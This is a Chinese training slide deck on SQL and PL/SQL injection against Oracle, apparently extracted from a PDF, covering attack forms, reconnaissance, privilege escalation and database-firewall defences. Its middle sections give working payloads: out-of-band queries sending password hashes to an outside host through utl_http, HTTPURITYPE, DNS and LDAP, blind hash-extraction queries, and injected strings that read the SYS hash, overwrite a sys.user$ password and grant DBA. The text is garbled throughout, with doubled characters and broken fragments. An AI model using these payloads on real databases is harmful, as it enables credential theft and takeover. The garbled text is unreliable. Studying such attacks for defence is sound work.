1、SQL注入攻击和防注入攻击和防护护技技术术C ONTENT 目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段SQL和和PLSQL注入攻注入攻击击 SQL注注入入利用应用程序S QL语句的漏洞(注入点)加载自己的恶意代码获取信息或 者提升权限。 PLSQL注注入入利用应用程序的P LS QL代码漏洞或者Ora c le本身的P LS QL代码漏洞加载自己 的恶意代码获取信息或者提升权限。SQL注入的危注入的危害害 数据表中的数据外泄数据表中的数据外泄,例如个人机密数据,账号数据,密码等 数
2、据结构被黑客探知,数据结构被黑客探知,得以做进一步攻击 例如SELECT * FROM sys.tables 数据库服务器被攻击,系统管理员账户被窜数据库服务器被攻击,系统管理员账户被窜改改 例如ALTER LOGIN sa WITH PASSWORD=xxxxxx 获取系统较高权限后,有可能得以在网页加入恶意链接、恶意代码以获取系统较高权限后,有可能得以在网页加入恶意链接、恶意代码以及及XSS等等 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统统 破坏硬盘数据,瘫痪全系破坏硬盘数据,瘫痪全系统统 例如xp_cmd
3、shellFORMATC:C ONTENT 目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段SQL注入的基本形注入的基本形式式 web端注端注入入服务器端程序将Web应用程序的用户输入参数作为查询条件,直接拼接成SQL语句,并将查询结果返回给客户端浏览器。 数据库端注数据库端注入入以数据库用户连接数据库,通过数据库用户的输入进行S QL注入,以达到提升 权限或者越权操作的目的。盲盲注注 布尔盲布尔盲注注布尔盲注只会根据SQL注入的攻击语句返回Ture和False,没有错误信息。 时间盲时
4、间盲注注界面返回值只有True,无论输入任何值返回情况都会按照正常来处理。加入特 定的时间参数,通过查看web页面返回的时间差来判断注入的语句是否正确。注入注入点点 注入点在语句结注入点在语句结尾尾意味着只要关闭语句,增加注入即可。 注入点在语句中注入点在语句中间间不仅需要关闭注入点之前的内容,还需要关闭之后的内容,通常是通过注释掉 后续内容转变为注入点在语句结尾。C ONTENT 目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段SQL注入的过注入的过程程 发现漏发现漏洞洞 通过漏洞了解
5、信息以正确的利用该漏通过漏洞了解信息以正确的利用该漏洞洞 注入以获得数注入以获得数据据 提取权提取权限限 设置后设置后门门C ONTENT 目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段SQL注入探索的三种不同方注入探索的三种不同方式式 带内错误检索带内错误检索(inband)错误信息从应用程序直接输出,比如浏览器。 带外错误检索带外错误检索(out-of-band)错误信息发送到应用程序以外的服务器上。 瞎猜瞎猜(blind)在应用程序屏蔽错误信息以及带外作物不可行的情况下进行。通过
6、错误信息获取数据库信通过错误信息获取数据库信息息通过错误信息获得账户名,是否属于SYSDBA,应用服务器IP, Oracle数据库漏洞信息地址,数据库名,数据库服务器名以及 Oracle的版本信息。获知版本号之后就可以大致获得可以利用的。 scriptgethostname-dbinfo.sql1通过错误信息获取数据库账户列通过错误信息获取数据库账户列表表通过错误信息获取数据库账户列表scriptgethostname-userinfo.sql1通过错误信息获取账户权限列通过错误信息获取账户权限列表表通过错误信息获得连接账户的拥有的权限和角色列。scriptgethostname-priv.s
7、ql1通过错误信息获取表格信通过错误信息获取表格信息息同样的道理,可以利用错误信息来获取用户的表格信息,列信息 以及利用错误信息来获得数据。scriptgethostname-tabinfo.sql1获取感兴趣表格的列信息及内获取感兴趣表格的列信息及内容容可以通过错误信息获取感兴趣表格的列信息。 可以通过错误信息获取感兴趣表格的内容信息。scriptgethostname-colinfo.sql scriptgethostname-valueinfo.sql1屏蔽错误信息以增加屏蔽错误信息以增加SQL注入难注入难度度屏蔽错误信息,使Oracle的原始错误信息不要返回给应用程序。入侵者 只能依赖
8、Blind SQL inject来完成信息收集,增加入侵难度。这里不讲如何 进行Blind SQL Inject,互联网上信息很多。Blind SQL Inject是SQL注入 领域的热门话题。1带外错误检索带外错误检索(out-of-Band)1当错误信息被应用程序屏蔽之后,可以采用OOB的方式获取错误信息以 及感兴趣的数据信息。Utl_http HTTPURITYPE SYS.DBMS_LDAP DNS通过通过utl_http获取信获取信息息2select utl_http.request (http:/ (select password from dba_users where rown
9、um=1) from dual;具体参见后续的数据获取方式通过通过HTTPURITYPE获取信获取信息息2Select HTTPURITYPE( http:/ password from dba_users where rownum=1) ).getclob() from dual;具体参见后续的数据获取方式通过通过DNS服务获取信服务获取信息息2select utl_http.request (http:/www.|(select password from dba_users where rownum=1)| ) from dual;具体参见后续的数据获取方式通过通过ldap_init获取
10、信获取信息息2SELECT SYS.DBMS_LDAP.INIT(SELECT user fromdual)|,80) FROM DUAL;具体参见后续的数据获取方式通过通过Blind Inject获取信获取信息息在In-Band和OOB都被防御之后,入侵者只能通过Blind Guess的方式来 进行信息获取。已经有很多支持Blind Inject的SQL注入工具可以使用。2Blind SQL Inject主要通过注入的页面响应来检测是否是需要的结果,甚至可以用时间延迟的方式 来简单判断。逻辑判断:decode|case比如我们想得到SYS账户的Password Hash。我们可以获取pass
11、word hash的每一位 字符来进行比较,正常响应表示字符匹配。Google上存在大量的Blind SQL Inject工具来提高Bind SQL inject的效率。2Blind SQL Inject2观察页面响应:select password from user$ where decode(substr(password,1,1), 0 , 1, 2) = 1select password from user$ wherecase substr(password,1,1) when 0 then 1 else 2 end = 1;观察响应延迟:select password from
12、user$ wherecase substr(password,1,1) when 0 then 1 else dbms_pipe.receive_message(A,1) end = 1;C ONTENT 目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段SQL注入实现的功注入实现的功能能 权限提升 获得账户password hash 更新账户密码 更新黑名单信息 设置后门2利用SQL注入进行权限提升入侵者对于简单数据获取不满足或者当前用户权限太小使其数据获取困难, 这个时候入侵者会想办
13、法进行权限提升。Oracle数据库每个版本都存在着PLSQL注入漏洞,入侵者利用这些漏洞进行 权限提升。案例分析 正常输入手机号码、卡号后四位对应的查询语句测试and I=I 存在注入点SQL注入获得账户Password Hash15606509081 andutl_inaddr.get_host_name(select password from sys.user$ where name=SYS) is not null -SQL注入获得信用卡账户密码SQL注入更新账户密码15606509081 ordbms_xmlquery.newContext(declare pragma autono
14、mous_transaction; beginupdate sys.user$ set password=8A8F025737A9097Awhere rownum2; commit;end; ) is not null -SQL注入升级权限控制数据库15606509081 or dbms_xmlquery.newContext(declare l_sql varchar2(4000);beginauthid current_userexecute immediate isexecute immediate grant dba to scott;pragma autonomous_transac
15、tion;create or replace function grant_dba return pragma autonomous_transaction;commit;varchar2 begin return z;end;commit;sys.lt.findricset(AA.AA|credit.grant_dba)-,BBBB);end;) is not null -C ONTENT 目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段针对针对SQL注入的防御手注入的防御手段段SQL
16、注入攻击错误检测数据库前端防火墙关闭http以及其他不必要的端口基于白名单的SQL注入攻击检测监视常见的SQL注入攻击形态3SQL注入防御措施1SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG 来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号 登录,甚至篡改数据库。四种方法四种方法: P-Statement(预编译) 使用正则表达式过滤传入的参数 字符串过滤 jsp中调用该函数检查是否包函非法字符SQL注入的防护措施2 白名单与注入特征库 注入攻击检测与响应 白名单智能化收集与部署 智能化检测未知风险 后续行为检测与控制 S QL白名单防御机制 实时检测漏洞
17、和虚拟补丁策略规策略规则则基于IP地址基于时间基于用户基于操作基于关键字基于列基于表名基于行数基于注入特征库解析 还原 SQL操作应用服务器数据库防火墙数据库策略规则 匹配结果:阻断、告警、通过。直接远程连接访问数据库通过应用访问数据库用户A:操作A用户B:操作B用户C:操作C用户A:操作A-阻断 用户B:操作B-告警 用户C:操作C-通过SQLSQL操作语操作语句句用户身用户身份份SQLSQL白名白名单单SQLSQL注入特征注入特征库库机器学习模机器学习模型型数据库防火墙工作原理SQL白名单白名单SQL注入特征注入特征库库处理处理用户身份用户身份通行通行依据风险等级处置依据风险等级处置阻断阻断/通行通行,并告警并告警进入下一步判断进入下一步判断匹配匹配匹配匹配 匹配匹配 匹配匹配SQL操作语句操作语句机器学习模机器学习模型型数据库防火墙工作流THANK YOU !